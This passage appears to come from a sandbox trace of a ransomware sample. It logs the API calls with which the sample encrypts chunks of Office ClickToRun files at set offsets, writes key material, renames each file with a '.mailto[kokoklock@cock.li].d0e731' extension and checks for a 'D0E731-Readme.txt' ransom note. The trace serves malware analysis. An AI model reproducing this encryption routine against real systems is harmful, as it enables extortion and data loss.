Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0074.438] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.439] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.440] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0074.441] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 0 [0074.441] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434b68 [0074.441] wcscpy (in: _Dest=0x3434b68, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.441] wcscat (in: _Dest=0x3434b68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.441] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.441] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434b68) returned 1 [0074.441] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34227c8) returned 1 [0074.441] RtlExitUserThread (Status=0x1) Thread: id = 635 os_tid = 0x394 [0074.436] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\integrator.exe")) returned 0x20 [0074.443] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe", dwFileAttributes=0x20) returned 1 [0074.443] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\integrator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x960 [0074.443] GetFileSizeEx (in: hFile=0x960, lpFileSize=0x18b3fe04 | out: lpFileSize=0x18b3fe04*=1229936) returned 1 [0074.443] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x12c46c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.444] ReadFile (in: hFile=0x960, lpBuffer=0x18b3fdd8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18b3fdd4, lpOverlapped=0x0 | out: lpBuffer=0x18b3fdd8*, lpNumberOfBytesRead=0x18b3fdd4*=0x4, lpOverlapped=0x0) returned 1 [0074.445] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.445] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0074.445] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e88 [0074.445] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34230b8 [0074.445] NtQuerySystemTime (in: CurrentTime=0x18b3fdb0 | out: CurrentTime=0x18b3fdb0*=132121176323315239) returned 0x0 [0074.445] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0x694dd899 [0074.445] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0xf3fd9e30 [0074.445] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0xdeff420e [0074.445] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0x697985e0 [0074.445] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0xa56c274b [0074.445] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0x6b3bb697 [0074.445] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0xa44b4679 [0074.445] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0xed9d9b10 [0074.445] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0xc5838e40 [0074.445] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0xfd73c74d [0074.445] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0xe727297e [0074.445] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0x143b980e [0074.445] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0x3eb06c36 [0074.445] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0x14ea9a4b [0074.445] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0x6150739 [0074.445] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0x58dcf360 [0074.445] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0x69012285 [0074.445] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0x2a526620 [0074.446] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0xaf81db9c [0074.446] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0x24caff72 [0074.446] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0xf31d1f50 [0074.446] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0xd963ff03 [0074.446] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0x7ade72ee [0074.446] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0xe6815fd4 [0074.446] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0x2b9fe8be [0074.446] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0xa46b6f25 [0074.446] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0xfa119c4a [0074.446] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0xff9d8c94 [0074.446] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0x41b7107e [0074.446] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0x45000925 [0074.446] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0xf8833c4 [0074.446] RtlRandom (in: Seed=0x18b3fdbc | out: Seed=0x18b3fdbc) returned 0xff18ef83 [0074.458] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.458] ReadFile (in: hFile=0x960, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x18b3fd70, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x18b3fd70*=0x4096, lpOverlapped=0x0) returned 1 [0074.459] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.459] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fdb38 [0074.459] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.459] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0074.459] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0074.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0074.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ec08 [0074.460] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ec08) returned 1 [0074.460] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.460] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdb38) returned 1 [0074.460] WriteFile (in: hFile=0x960, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x18b3fd70, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x18b3fd70*=0x4096, lpOverlapped=0x0) returned 1 [0074.460] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.460] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x99644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.460] ReadFile (in: hFile=0x960, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x18b3fd70, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x18b3fd70*=0x4096, lpOverlapped=0x0) returned 1 [0074.465] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x99644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.465] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd8b0 [0074.465] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0074.465] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ec08 [0074.465] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ec08) returned 1 [0074.465] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.465] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ec08 [0074.465] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341f068 [0074.465] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341f068) returned 1 [0074.465] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0074.465] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd8b0) returned 1 [0074.465] WriteFile (in: hFile=0x960, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x18b3fd70, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x18b3fd70*=0x4096, lpOverlapped=0x0) returned 1 [0074.466] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.466] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x1283da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.466] ReadFile (in: hFile=0x960, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x18b3fd70, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x18b3fd70*=0x4096, lpOverlapped=0x0) returned 1 [0074.466] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x1283da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.466] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd628 [0074.466] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.466] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341f068 [0074.466] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341f068) returned 1 [0074.467] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.467] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341f068 [0074.467] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0074.467] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0074.467] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.467] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd628) returned 1 [0074.467] WriteFile (in: hFile=0x960, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x18b3fd70, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x18b3fd70*=0x4096, lpOverlapped=0x0) returned 1 [0074.467] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.467] WriteFile (in: hFile=0x960, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18b3fdcc, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0x18b3fdcc*=0x20, lpOverlapped=0x0) returned 1 [0074.467] WriteFile (in: hFile=0x960, lpBuffer=0x341ec08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18b3fdcc, lpOverlapped=0x0 | out: lpBuffer=0x341ec08*, lpNumberOfBytesWritten=0x18b3fdcc*=0x20, lpOverlapped=0x0) returned 1 [0074.467] WriteFile (in: hFile=0x960, lpBuffer=0x341f068*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18b3fdcc, lpOverlapped=0x0 | out: lpBuffer=0x341f068*, lpNumberOfBytesWritten=0x18b3fdcc*=0x20, lpOverlapped=0x0) returned 1 [0074.468] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.468] WriteFile (in: hFile=0x960, lpBuffer=0x34231d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18b3fdd4, lpOverlapped=0x0 | out: lpBuffer=0x34231d0*, lpNumberOfBytesWritten=0x18b3fdd4*=0x8, lpOverlapped=0x0) returned 1 [0074.468] WriteFile (in: hFile=0x960, lpBuffer=0x18b3fdec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18b3fdd4, lpOverlapped=0x0 | out: lpBuffer=0x18b3fdec*, lpNumberOfBytesWritten=0x18b3fdd4*=0x4, lpOverlapped=0x0) returned 1 [0074.468] WriteFile (in: hFile=0x960, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18b3fdd4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x18b3fdd4*=0x4, lpOverlapped=0x0) returned 1 [0074.468] WriteFile (in: hFile=0x960, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x18b3fdd4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x18b3fdd4*=0x6c, lpOverlapped=0x0) returned 1 [0074.468] WriteFile (in: hFile=0x960, lpBuffer=0x3422e88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18b3fdd4, lpOverlapped=0x0 | out: lpBuffer=0x3422e88*, lpNumberOfBytesWritten=0x18b3fdd4*=0x20, lpOverlapped=0x0) returned 1 [0074.468] WriteFile (in: hFile=0x960, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18b3fdd4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x18b3fdd4*=0x4, lpOverlapped=0x0) returned 1 [0074.468] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e88) returned 1 [0074.468] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423130) returned 1 [0074.468] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231d0) returned 1 [0074.468] CloseHandle (hObject=0x960) returned 1 [0074.468] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xfe) returned 0x3429fe8 [0074.468] wcscpy (in: _Dest=0x3429fe8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe" [0074.468] wcscat (in: _Dest=0x3429fe8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe.mailto[kokoklock@cock.li].d0e731" [0074.469] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\integrator.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\integrator.exe.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.469] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.469] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429fe8) returned 1 [0074.469] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe", dwFileAttributes=0x20) returned 0 [0074.470] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434b68 [0074.470] wcscpy (in: _Dest=0x3434b68, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.470] wcscat (in: _Dest=0x3434b68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.470] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.470] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434b68) returned 1 [0074.470] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431d80) returned 1 [0074.470] RtlExitUserThread (Status=0x1) Thread: id = 636 os_tid = 0xe64 [0074.464] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml")) returned 0x20 [0074.472] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", dwFileAttributes=0x20) returned 1 [0074.472] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x960 [0074.472] GetFileSizeEx (in: hFile=0x960, lpFileSize=0x18bbfcfc | out: lpFileSize=0x18bbfcfc*=3304) returned 1 [0074.472] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0xce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.472] ReadFile (in: hFile=0x960, lpBuffer=0x18bbfcd0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18bbfccc, lpOverlapped=0x0 | out: lpBuffer=0x18bbfcd0*, lpNumberOfBytesRead=0x18bbfccc*=0x4, lpOverlapped=0x0) returned 1 [0074.474] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.474] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0074.474] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea78 [0074.474] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423130 [0074.474] NtQuerySystemTime (in: CurrentTime=0x18bbfca8 | out: CurrentTime=0x18bbfca8*=132121176323647369) returned 0x0 [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0x7648a852 [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0xdbe7f7c2 [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0xbdeee0cf [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0xfa8a2972 [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0x7fdb6a2 [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0x22f2630 [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0x95717c09 [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0x7b1c9531 [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0x4b3a06c9 [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0xbfdb189 [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0xa9cc4d8c [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0x9a7d7e5e [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0x6b76ace4 [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0x537dcf87 [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0x2b5775ee [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0xbacd2ee2 [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0x788b8875 [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0x5bbd2fd7 [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0x810b0a42 [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0x151aae77 [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0xd31a838b [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0xbbd10069 [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0x4a8168f [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0xb28fd53d [0074.474] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0xaf0da2ac [0074.475] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0x4115347b [0074.475] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0xd0e5903d [0074.475] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0xc7703b7 [0074.475] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0xc1e48fbb [0074.475] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0xb54db50f [0074.475] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0xda9c1569 [0074.475] RtlRandom (in: Seed=0x18bbfcb4 | out: Seed=0x18bbfcb4) returned 0xd5a2b5f9 [0074.486] ReadFile (in: hFile=0x960, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0xce8, lpNumberOfBytesRead=0x18bbfca8, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x18bbfca8*=0xce8, lpOverlapped=0x0) returned 1 [0074.486] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bbfc70 | out: lpNewFilePointer=0x0) returned 1 [0074.486] WriteFile (in: hFile=0x960, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0xce8, lpNumberOfBytesWritten=0x18bbfca4, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x18bbfca4*=0xce8, lpOverlapped=0x0) returned 1 [0074.486] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 